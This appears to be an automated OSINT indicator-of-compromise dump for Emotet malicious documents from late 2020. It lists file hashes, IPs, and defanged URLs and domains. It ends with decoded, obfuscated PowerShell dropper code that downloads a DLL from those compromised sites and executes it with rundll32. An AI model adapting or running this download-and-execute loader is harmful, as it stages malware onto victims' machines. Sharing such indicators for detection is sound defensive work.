Emotet_Doc_out_2020-12-31_18_34.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
d3b4663e294cfce22aed52067a56d10cbd57c0ce477d110616debd538660a115
d3b4663e294cfce22aed52067a56d10cbd57c0ce477d110616debd538660a115
b0d8f51b72b0bbfecdcfc43da079f6221e51f54159461b17d3794174e09b17d6
76283689c929908f5d50f086c098143c982d804cceec6b10d530d67f181704eb
40862d0b1aafeb508f97893ee74e2b324ec7e1eb96bc924b3248b9174e43c1af
b8b8a0b9feb659e1a9f61285a8f8e98642fa46eda26a61a780df9fb698c63131
ec3994399031e9c03729b9c51069c839dcfefc07707959021f85d8250286ff43
5e9e5d0c36a1395a73be5fc2a97167d451ceaf649ed3c72992238710edcf31ea
d7aebf48bb0631a72ed7fb0d78562f100a6906ffac55ad00ae417f85bf6cd921
be2287f06352c21f4412b81411c76a2e3c23bc99bfd67a39549574e6f0143ec5
be2287f06352c21f4412b81411c76a2e3c23bc99bfd67a39549574e6f0143ec5
285ab195d27a5ec3299bbf17ad460e833b3c265c80b1450bba5accc059d6cf7e
84e47bd673a96f1f41735c34d4bbdf415b8f2c39e7a833fe5cac69d38b979f5f
84e47bd673a96f1f41735c34d4bbdf415b8f2c39e7a833fe5cac69d38b979f5f
95fe116f2a0eb74504e9ba87b6c75f4410ffd67176c46b5daa31d111648cd40e
d06d8cb932ace2080f2b04b83182a39e019bf69295824788ab95a12f0dbfe0ec
2a21ff7a18b4f0acbed3e8bb4f2b3bd74388c458e0953be7c9a21c9986dd72d4
102752bacabf212b2d93d7dab6e84615f2e94a7c17f88f88c23cd2e87643da1c
102752bacabf212b2d93d7dab6e84615f2e94a7c17f88f88c23cd2e87643da1c
0d90ca158eabbf8ebd00e4093c2ccbd118833f31c3c6902dc7cc079b6ad27560
0d90ca158eabbf8ebd00e4093c2ccbd118833f31c3c6902dc7cc079b6ad27560
58e9689587eedb1e893c93baa299ea296c05222359dbe281306ec12304d3a8c2
58e9689587eedb1e893c93baa299ea296c05222359dbe281306ec12304d3a8c2
ece0d267bc9cfa2b32d2d93569757b8895f379ef0b752fdafdb457da534a0de9
b19c3ed6b6012da42e3a700410a21231588c6b1da97f92911a540b9e3ae71b08
48cbbf0f9680ad78df8965f1b76d756f88912c653711968364b7f7eb3f5795b0
48cbbf0f9680ad78df8965f1b76d756f88912c653711968364b7f7eb3f5795b0
fa91406d32a92c06644f1089b3184110a7e7238b70dbbb86098e77f7ce82ff5e
fa91406d32a92c06644f1089b3184110a7e7238b70dbbb86098e77f7ce82ff5e
a3c7030635319611442140f4e775bd30cb0379b86a430e9b54df0ce366d7db30
712989be681e3a6e8cd47b84ce5feb957d2cfb47367d96bbc7dcd6551bef1f51
712989be681e3a6e8cd47b84ce5feb957d2cfb47367d96bbc7dcd6551bef1f51
c3995c2fa8060e207a999e9ba7fac45ac419f717a024eb0bc1059e197a595595
8c39bdef7f9491fc985afb40906aa1f0d4427bb9cb2299ebacd5511b442e9982
8c39bdef7f9491fc985afb40906aa1f0d4427bb9cb2299ebacd5511b442e9982
9d7889fe83c60f08711f29825a62cc029f17329e4008a7298e7c3ba5cb6ae8ff
12648728174c80a68b9992c8759df7e021f27fef6bbee5bed8af71b18a7fadd5
75e6fc7e5c98a20bc64f7944d2bead6901f575fe20135e9aafe210ee2e1e2c49
75e6fc7e5c98a20bc64f7944d2bead6901f575fe20135e9aafe210ee2e1e2c49
a076dfb0f7e5a9217dd1cde4b003fd8714d6693b990f2ac4fd1b70fdbea38296
a076dfb0f7e5a9217dd1cde4b003fd8714d6693b990f2ac4fd1b70fdbea38296
315dce173e7c32092cf4b83b7d27b520156225dc90d11322b56244ac2b61810e
1945af426236644e59e05d740730d942c8b1f318aacf9f983a9f6e4bcbf55f37
d6dae3570b800a4a54bbb661e945c2870952058174a0ac704127c7cfe8330bcd
3bf59384c4c1a24eb5fef4453dd1fc63a75324f4aa6b86a62ba47de3393027a9
3bf59384c4c1a24eb5fef4453dd1fc63a75324f4aa6b86a62ba47de3393027a9
c531afa39691d1fec216f1c5c1016c155176f104b4b83189b1f4ca82efcdec60
c531afa39691d1fec216f1c5c1016c155176f104b4b83189b1f4ca82efcdec60
5bda7d2a96d144775448c820a8e5ba511c421864f4bdee023b96ebc8f375a861
575d1371fffeb5877c6a769757f0e62ec244b41f834d609312b916b18c55d7a2
e05aadbe41028646840c187217377776330ff87cf0c0aad82cb1cf15236243cd
5b4299a14a7a1bcac53b86176777b6fbe902fbb5a440e9040126b39743db254d
c68350e42d1fb6e27f14eea5b6a5994cc3d6f0a4c09880eaf03f6fe1382ece1f
accd0141dbb5a3924866cfdbbdeca2edfd396cfbb611880588d8cfab0cd986c3
f188a66e42ab843218ecec727c9910b6205a89b8f96a980c0738f83cb7190e5e
ab843ddcb9082d9077b271c2cb1367b85e06b13dd16fe62f852c708a484b7d3e
34c8780e6108c962d6e787e1d3c86b139aed485b78df5ea1a10868498da0d3b5
43af38ecd27585f00463abfee0ca7f492fb36fa862c8d215447d59be27652589


IPs:
185.42.104.77
192.169.217.36
40.119.6.228
75.188.107.174



URLs:
hxxp://insvat.com/wp-admin/Dw/
hxxp://littleindiadirectory.com/l/TOYuT/
hxxp://blogs.g2gtechnologies.com/blogs/v/
hxxp://pattayastore.com/visio-network-1hmpp/j5/
hxxp://rsimadinah.com/wp-content/16qT/
hxxps://tenmoney.business/wp-content/nhW/
hxxps://sureoptimize.com/well-known/QsEs/
hxxp://mediatorstewart.com/service-msc/3zZLr/
hxxp://wolffsachs.com/wp-content/UKZw/
hxxp://ycspreview.com/shubham/h7qna/
hxxp://wi360.com/wp-content/u/
hxxp://linkejet.com.br/cgi-bin/UQ/
hxxp://nuocmambamuoi.vn/wp-admin/Ty/
hxxp://ellinismos1922.gr/log/c99FG/


Domains:
insvat.com
littleindiadirectory.com
blogs.g2gtechnologies.com
pattayastore.com
rsimadinah.com
tenmoney.business
sureoptimize.com
mediatorstewart.com
wolffsachs.com
ycspreview.com
wi360.com
linkejet.com.br
nuocmambamuoi.vn
ellinismos1922.gr


Decoded Base64 Powershell:
1��>��^�>��^�<���^,�]zsEt "Zy3""5" [TyPe]"{2}{5}{4}{0}{1}{3}" -f IReC,To,SyStEM.,RY,O.D,i ;
  Set-ITEM variABle:YJu4z3  [Type]"{4}{5}{3}{6}{1}{7}{0}{2}" -fce,eT.SeRV,pOinTMANAgEr,Stem.,S,Y,n,i  ;
$ErrorActionPreference = SilentlyContinue;
$U1uh748=$E34H  [char]64  $G35Q;
$B62Q=L03K;
   dir  VArIABLe:zy35.vaLUE::"C`ReA`Ted`IrEcToRy"$HOME  XE8Z3tnc5dXE8L6z3oo3XE8-RePLACe [CHAr]88[CHAr]69[CHAr]56,[CHAr]92;
$M95A=F70N;
  Ls  VAriABle:YJU4Z3.vaLuE::"se`Cur`i`TYp`RotOCoL" = Tls12;
$L5_C=P67K;
$Vlzczi0 = O28C;
$P40O=W31C;
$F4mnqaf=$HOME{0}Z3tnc5d{0}L6z3oo3{0}  -f[cHar]92$Vlzczi0.dll;
$J04B=Q40L;
$Ml3evql=hxxp://insvat.com/wp-admin/Dw/
hxxp://littleindiadirectory.com/l/TOYuT/
hxxp://blogs.g2gtechnologies.com/blogs/v/
hxxp://pattayastore.com/visio-network-1hmpp/j5/
hxxp://rsimadinah.com/wp-content/16qT/
hxxps://tenmoney.business/wp-content/nhW/
hxxps://sureoptimize.com/well-known/QsEs/."ReP`La`cE"hxxp,[array]sd,sw,hxxp,3d[1]."SpL`it"$R71P  $U1uh748  $X49R;
$I14G=W94G;
foreach $Qx55iz5 in $Ml3evql{try{.New-Object syStEm.neT.WEBcliEnt."d`O`wnLo`ADfIlE"$Qx55iz5, $F4mnqaf;
$G50C=U37W;
If &Get-Item $F4mnqaf."LEN`Gth" -ge 31963 {&rundll32 $F4mnqaf,Control_RunDLL."t`Os`TrING";
$H37C=H30J;
break;
$K4_Q=M16Q}}catch{}}$B72H=S__X<���^,�]z$So9Rq  =  [TyPe]"{3}{1}{2}{0}{4}"-F .iO.dIREC,E,M,syst,torY;
    $yxNt6m=[TYPE]"{2}{5}{3}{1}{0}{4}"-F MAnAGe,OINT,systeM.NeT.,Cep,r,SeRVi;
 $ErrorActionPreference = SilentlyContinue;
$T5u1k2t=$L30G  [char]64  $C30I;
$E_3Y=X80G;
   VARIABle so9rQ -valUeon::"CR`eAtE`di`R`ecToRy"$HOME  {0}I10p0zs{0}Btjghqf{0}-F  [cHAr]92;
$E40J=G92O;
  $YxNt6M::"Se`Cu`RitypRoTo`c`oL" = Tls12;
$Y48K=B04F;
$Bpt7y5z = M21Y;
$N12Q=M42R;
$Qixwhf2=$HOMEszJI10p0zsszJBtjghqfszJ  -CrEpLACe [CHar]115[CHar]122[CHar]74,[CHar]92$Bpt7y5z.dll;
$C56I=H13V;
$Hgb0yb0=hxxp://mediatorstewart.com/service-msc/3zZLr/
hxxp://wolffsachs.com/wp-content/UKZw/
hxxp://ycspreview.com/shubham/h7qna/
hxxp://wi360.com/wp-content/u/
hxxp://linkejet.com.br/cgi-bin/UQ/
hxxp://nuocmambamuoi.vn/wp-admin/Ty/
hxxp://ellinismos1922.gr/log/c99FG/."rEp`lACE"hxxp,[array]sd,sw,hxxp,3d[1]."S`pLiT"$W49R  $T5u1k2t  $B58A;
$B30W=F86F;
foreach $Qbf843y in $Hgb0yb0{try{&New-Object systeM.net.WebCLIenT."d`O`WNloAdfILe"$Qbf843y, $Qixwhf2;
$Q21L=R4_Y;
If &Get-Item $Qixwhf2."LenG`TH" -ge 49338 {&rundll32 $Qixwhf2,Control_RunDLL."tOsT`RiNG";
$W30Q=G59H;
break;
$Q28W=L8_B}}catch{}}$O19K=H46E�����������^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^���z˦���^�